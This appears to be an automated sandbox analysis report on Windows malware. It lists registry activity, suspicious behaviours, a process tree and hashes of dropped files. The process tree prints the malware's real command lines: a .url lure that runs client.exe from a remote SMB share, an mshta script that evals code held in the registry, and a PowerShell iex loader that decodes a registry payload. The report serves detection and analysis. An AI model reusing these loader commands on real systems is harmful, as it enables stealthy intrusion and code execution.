0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000ec0af246fdf5d901ec0af246fdf5d901ec0af246fdf5d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000043575c6b2000343366613936663435383933383630366131313738663764663361616333323335383133376261663566333030353462623765336662373365643732663530360000b20009000400efbe43575c6b43575c6b2e0000000000000000000000000000000000000000000000000014859900340033006600610039003600660034003500380039003300380036003000360061003100310037003800660037006400660033006100610063003300320033003500380031003300370062006100660035006600330030003000350034006200620037006500330066006200370033006500640037003200660035003000360000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000af7f409c1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c34336661393666343538393338363036613131373866376466336161633332333538313337626166356633303035346262376533666237336564373266353036000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000064726d76786f7473000000000000000036ba38cd37a1e442a26a037e335ff6a2eae660c79953ee1183fefaa769bfc8e536ba38cd37a1e442a26a037e335ff6a2eae660c79953ee1183fefaa769bfc8e5d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003000340035003900380038003400380031002d0031003400350037003800310032003700310039002d0032003600310037003900370034003600350032002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000108cdb6a000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\aeb2cd06-e293-4fdd = 43044848fdf5d901 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3c24a964-fd1b-4638 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c6ccf845-3db8-4f1e RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\888823db-479b-4e3d = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\888823db-479b-4e3d = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000008385c946fdf5d9018385c946fdf5d9018385c946fdf5d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000043575c6b2000623361353239323930346430313162323262383931316362646663366638343261393966366630383134623733386137323335616433613236396532353861340000b20009000400efbe43575c6b43575c6b2e000000000000000000000000000000000000000000000000007d0ac200620033006100350032003900320039003000340064003000310031006200320032006200380039003100310063006200640066006300360066003800340032006100390039006600360066003000380031003400620037003300380061003700320033003500610064003300610032003600390065003200350038006100340000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000af7f409c1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c62336135323932393034643031316232326238393131636264666336663834326139396636663038313462373338613732333561643361323639653235386134000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000064726d76786f7473000000000000000036ba38cd37a1e442a26a037e335ff6a2e6e660c79953ee1183fefaa769bfc8e536ba38cd37a1e442a26a037e335ff6a2e6e660c79953ee1183fefaa769bfc8e5d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003000340035003900380038003400380031002d0031003400350037003800310032003700310039002d0032003600310037003900370034003600350032002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000108cdb6a000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bf28d660-a282-4880 = 3234df46fdf5d901 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\be82a6ae-9f89-466c = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000017d1f646fdf5d90117d1f646fdf5d90117d1f646fdf5d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000043575c6b2000316333393335306635623833643835636630666133313131383938326334326462343235323432366333633064633136643636373962306330656432626231370000b20009000400efbe43575c6b43575c6b2e00000000000000000000000000000000000000000000000000e9be9400310063003300390033003500300066003500620038003300640038003500630066003000660061003300310031003100380039003800320063003400320064006200340032003500320034003200360063003300630030006400630031003600640036003600370039006200300063003000650064003200620062003100370000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000af7f409c1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c31633339333530663562383364383563663066613331313138393832633432646234323532343236633363306463313664363637396230633065643262623137000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000064726d76786f7473000000000000000036ba38cd37a1e442a26a037e335ff6a2ebe660c79953ee1183fefaa769bfc8e536ba38cd37a1e442a26a037e335ff6a2ebe660c79953ee1183fefaa769bfc8e5d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003000340035003900380038003400380031002d0031003400350037003800310032003700310039002d0032003600310037003900370034003600350032002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000108cdb6a000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6d6397d3-5825-416f = "0" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f8565fb7-b766-40f2 = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\aeb2cd06-e293-4fdd RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\888823db-479b-4e3d RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\888823db-479b-4e3d = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\23cae042-a477-4492 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f8565fb7-b766-40f2 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f8565fb7-b766-40f2 = 50172e48fdf5d901 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\aeb2cd06-e293-4fdd RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\aeb2cd06-e293-4fdd = "\\\\?\\Volume{6ADB8C10-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\9c48d8ef015852b5905a97c1870055d3fa24fe16b9ab57e7f4909593af3e9322" RuntimeBroker.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
PING.EXEpid process 3672 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
client.exepowershell.exeExplorer.EXEpid process 2392 client.exe 2392 client.exe 1144 powershell.exe 1144 powershell.exe 1144 powershell.exe 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 3212 Explorer.EXE -
Suspicious behavior: MapViewOfSection 8 IoCs
Processes:
powershell.exeExplorer.EXEcmd.exepid process 1144 powershell.exe 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 3212 Explorer.EXE 2384 cmd.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
Processes:
powershell.exeExplorer.EXERuntimeBroker.exedescription pid process Token: SeDebugPrivilege 1144 powershell.exe Token: SeShutdownPrivilege 3212 Explorer.EXE Token: SeCreatePagefilePrivilege 3212 Explorer.EXE Token: SeShutdownPrivilege 3212 Explorer.EXE Token: SeCreatePagefilePrivilege 3212 Explorer.EXE Token: SeShutdownPrivilege 3212 Explorer.EXE Token: SeCreatePagefilePrivilege 3212 Explorer.EXE Token: SeShutdownPrivilege 3212 Explorer.EXE Token: SeCreatePagefilePrivilege 3212 Explorer.EXE Token: SeShutdownPrivilege 3780 RuntimeBroker.exe Token: SeShutdownPrivilege 3780 RuntimeBroker.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
Explorer.EXEpid process 3212 Explorer.EXE -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
Explorer.EXEpid process 3212 Explorer.EXE -
Suspicious use of WriteProcessMemory 49 IoCs
Processes:
rundll32.exemshta.exepowershell.execsc.execsc.exeExplorer.EXEcmd.exedescription pid process target process PID 2616 wrote to memory of 2392 2616 rundll32.exe client.exe PID 2616 wrote to memory of 2392 2616 rundll32.exe client.exe PID 2616 wrote to memory of 2392 2616 rundll32.exe client.exe PID 1224 wrote to memory of 1144 1224 mshta.exe powershell.exe PID 1224 wrote to memory of 1144 1224 mshta.exe powershell.exe PID 1144 wrote to memory of 2320 1144 powershell.exe csc.exe PID 1144 wrote to memory of 2320 1144 powershell.exe csc.exe PID 2320 wrote to memory of 3944 2320 csc.exe cvtres.exe PID 2320 wrote to memory of 3944 2320 csc.exe cvtres.exe PID 1144 wrote to memory of 1228 1144 powershell.exe csc.exe PID 1144 wrote to memory of 1228 1144 powershell.exe csc.exe PID 1228 wrote to memory of 2240 1228 csc.exe cvtres.exe PID 1228 wrote to memory of 2240 1228 csc.exe cvtres.exe PID 1144 wrote to memory of 3212 1144 powershell.exe Explorer.EXE PID 1144 wrote to memory of 3212 1144 powershell.exe Explorer.EXE PID 1144 wrote to memory of 3212 1144 powershell.exe Explorer.EXE PID 1144 wrote to memory of 3212 1144 powershell.exe Explorer.EXE PID 3212 wrote to memory of 3780 3212 Explorer.EXE RuntimeBroker.exe PID 3212 wrote to memory of 3780 3212 Explorer.EXE RuntimeBroker.exe PID 3212 wrote to memory of 3780 3212 Explorer.EXE RuntimeBroker.exe PID 3212 wrote to memory of 3780 3212 Explorer.EXE RuntimeBroker.exe PID 3212 wrote to memory of 4072 3212 Explorer.EXE RuntimeBroker.exe PID 3212 wrote to memory of 4072 3212 Explorer.EXE RuntimeBroker.exe PID 3212 wrote to memory of 4072 3212 Explorer.EXE RuntimeBroker.exe PID 3212 wrote to memory of 4072 3212 Explorer.EXE RuntimeBroker.exe PID 3212 wrote to memory of 4836 3212 Explorer.EXE RuntimeBroker.exe PID 3212 wrote to memory of 4836 3212 Explorer.EXE RuntimeBroker.exe PID 3212 wrote to memory of 4836 3212 Explorer.EXE RuntimeBroker.exe PID 3212 wrote to memory of 4836 3212 Explorer.EXE RuntimeBroker.exe PID 3212 wrote to memory of 4772 3212 Explorer.EXE RuntimeBroker.exe PID 3212 wrote to memory of 4772 3212 Explorer.EXE RuntimeBroker.exe PID 3212 wrote to memory of 4772 3212 Explorer.EXE RuntimeBroker.exe PID 3212 wrote to memory of 4772 3212 Explorer.EXE RuntimeBroker.exe PID 3212 wrote to memory of 2384 3212 Explorer.EXE cmd.exe PID 3212 wrote to memory of 2384 3212 Explorer.EXE cmd.exe PID 3212 wrote to memory of 2384 3212 Explorer.EXE cmd.exe PID 3212 wrote to memory of 2624 3212 Explorer.EXE cmd.exe PID 3212 wrote to memory of 2624 3212 Explorer.EXE cmd.exe PID 3212 wrote to memory of 2624 3212 Explorer.EXE cmd.exe PID 3212 wrote to memory of 2624 3212 Explorer.EXE cmd.exe PID 3212 wrote to memory of 2384 3212 Explorer.EXE cmd.exe PID 3212 wrote to memory of 2384 3212 Explorer.EXE cmd.exe PID 3212 wrote to memory of 2624 3212 Explorer.EXE cmd.exe PID 3212 wrote to memory of 2624 3212 Explorer.EXE cmd.exe PID 2384 wrote to memory of 3672 2384 cmd.exe PING.EXE PID 2384 wrote to memory of 3672 2384 cmd.exe PING.EXE PID 2384 wrote to memory of 3672 2384 cmd.exe PING.EXE PID 2384 wrote to memory of 3672 2384 cmd.exe PING.EXE PID 2384 wrote to memory of 3672 2384 cmd.exe PING.EXE
Processes
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Contratto.url1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2616 -
\??\UNC\62.173.146.43\scarica\client.exe"\\62.173.146.43\scarica\client.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2392 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2392 -s 4723⤵
- Program crash
PID:1704
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4836
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4072
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3780
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3212 -
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>I0gj='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(I0gj).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\5C68964F-0BE8-EE1D-7550-6F0279841356\\\MaskControl'));if(!window.flag)close()</script>"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1224 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name uiqdabx -value gp; new-alias -name ryckknmoi -value iex; ryckknmoi ([System.Text.Encoding]::ASCII.GetString((uiqdabx "HKCU:Software\AppDataLow\Software\Microsoft\5C68964F-0BE8-EE1D-7550-6F0279841356").PlaySystem))3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1144 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xpjlltmy\xpjlltmy.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:2320 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES407F.tmp" "c:\Users\Admin\AppData\Local\Temp\xpjlltmy\CSC830BADF43BFC4B968584C52E29193C.TMP"5⤵PID:3944
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hzbpt33v\hzbpt33v.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:1228 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES41D6.tmp" "c:\Users\Admin\AppData\Local\Temp\hzbpt33v\CSC3157D778670E45008B2A9EAA5289EC85.TMP"5⤵PID:2240
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "\\62.173.146.43\scarica\client.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2384 -
C:\Windows\system32\PING.EXEping localhost -n 53⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:3672 -
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,2⤵PID:2624
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
PID:4772
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2392 -ip 23921⤵PID:4604
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\RES407F.tmpFilesize
1KB
MD506a09193bb46066707b38a637caee269
SHA1155eac12414b40469ab6f0f884f01af840b5654d
SHA256b67ee0609e66584b01606712480be858915e3fc4e48f3f89e8973e6fa1b26719
SHA5124ec98a199e0353c43f50a79a2ce2ab0715d9f09802c99ada3652b69f74fcf325e78bcdf1702b816530ab5505513864f045dd0c0ae3f410d7be1788d67648d5b7
-
C:\Users\Admin\AppData\Local\Temp\RES41D6.tmpFilesize
1KB
MD5e58d3fecdb9dc50f043ca43b105e0473
SHA12cbcea1a5ef6b98797118830d9e86bbd2afc6169
SHA2565891ce90bbbe6d5587e1f672fc79b3907cd61886b2af25f71188043453cbf932
SHA51289e41103708aac18e47660ae5012ad63b30db9d4ffafc62f156e4ed2bdfe7fa6c12b69ebfa716f2b89cf606228c64d3975d733ce17c5a00853f5e5a7954b6a8d
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w1w3tg3q.jtx.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\hzbpt33v\hzbpt33v.dllFilesize
3KB
MD5b7f90cd9b3ba9e5ed7afc2b716e05d71
SHA168da6c6c1869e16730de234012caa7886f0aa8db
SHA2566dd8d27f8f952ace97e8f3d5213a2980fac20287665d10b065a0a7a45b708528
SHA512a0078bc347d3062bebcfd8d73a392767a6b3c97bdbe4db9005415b86d9948d9b789b82ef0ae2e1ac520d64e17d79936e897cbff7c9edb506295dc6b31a63ffe2
-
C:\Users\Admin\AppData\Local\Temp\xpjlltmy\xpjlltmy.dllFilesize
3KB
MD53b3d872b383b48f47f0166009ad35563
SHA10d7f68f61df87824f2b1c3c99f822f89a568b121
SHA256fc6522bc995810d8dd4da479081a51036aba4bb409619827eb9789979c1351ab
SHA512e999ca6bc4c9a39b2f88814ad180c0181c9628c04952c864a1987c835bec1aef0ab226b13b7a071df7d0f39a14da2ef9ac53349f0cef50bcf4067ec144909baa
-
\??\c:\Users\Admin\AppData\Local\Temp\hzbpt33v\CSC3157D778670E45008B2A9EAA5289EC85.TMPFilesize
652B
MD50b32642753d1cc58ab3ce99f2e7e0758
SHA1b774a724445f104822382ddcf325d84a91001389
SHA256c448a68c9755afc65317371ca3faa38eae206ca1ec2403f2977f671475e1eb41
